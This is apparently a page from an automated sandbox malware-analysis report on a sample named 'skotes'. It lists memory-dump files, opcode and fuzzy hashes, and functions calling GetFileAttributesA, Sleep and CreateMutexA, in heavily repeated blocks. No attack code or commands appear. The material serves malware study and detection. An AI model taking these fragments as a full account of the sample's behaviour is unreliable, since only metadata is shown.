Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: fa02e8f6160cd8a366178186df44b84ae046807b20ec0cf7012ae1ebaed04cd7
Instruction ID: 928ddf7a14a6a3f01e18266c82af0a2e9cec42a33ec61d0ff03b64440ad71835
Opcode Fuzzy Hash: fa02e8f6160cd8a366178186df44b84ae046807b20ec0cf7012ae1ebaed04cd7
Instruction Fuzzy Hash: BD3126316042449BFF08EB78D8C8BADB7E2DBC6310F2846A9E014973E5DB359980C715

Function 00B89F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B89F47
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 32ae022dcd407a9623b600174a25f61a3ccf461eca67d0fd39136b0948d388de
Instruction ID: 3d144067affddeed00a78bee307ab1d2c7d335f2c0b6df2df909c7317ace8d01
Opcode Fuzzy Hash: 32ae022dcd407a9623b600174a25f61a3ccf461eca67d0fd39136b0948d388de
Instruction Fuzzy Hash: 9E3127316042449BFF0CEB68D8D9BACB7E2EBC5310F2442A9E114D72E5C735A980C752

Function 00B8A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A07C
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 64e490fac601f2d67d9388b6ca7e72a119bed77b2d1cf96f27d8596a2eb7a590
Instruction ID: 1830c4390ce7418946fd168396a741fc84c08c48d8054f6771b5dd7b4d3350a0
Opcode Fuzzy Hash: 64e490fac601f2d67d9388b6ca7e72a119bed77b2d1cf96f27d8596a2eb7a590
Instruction Fuzzy Hash: 42312A316042449BFB08FBB8DCC9B6DB7E2DBC6314F2442AAE015A73E5D775A980C752

Function 00B8A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A1B1
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7821c4dbbd0ab57a8eec7ff66c366d432b9ca2a5baf7e968870acde554005d22
Instruction ID: 4345fe92a25f842281dbdfd2749630f1f86f1c3ea33f70b98501786bf1f8c454
Opcode Fuzzy Hash: 7821c4dbbd0ab57a8eec7ff66c366d432b9ca2a5baf7e968870acde554005d22
Instruction Fuzzy Hash: CD312A316042449BFB18FF78DCC9B6DB7E2EBC6310F2442AAE014A72E5D7759980C712

Function 00B8A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A2E6
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a6499b2ef57e09c69274ca53f789d7ed827d216462016497fed462393ed39028
Instruction ID: 2f88f5c3e0311fee2f126c1954fd06605a252fdbe7f940c3c96c7fd0948f75b0
Opcode Fuzzy Hash: a6499b2ef57e09c69274ca53f789d7ed827d216462016497fed462393ed39028
Instruction Fuzzy Hash: 7F314A316042449BFB18EF78DCC9B6CB7F2EBC6314F2082AAE015972E5C775A980C712

Function 00B8A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A41B
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
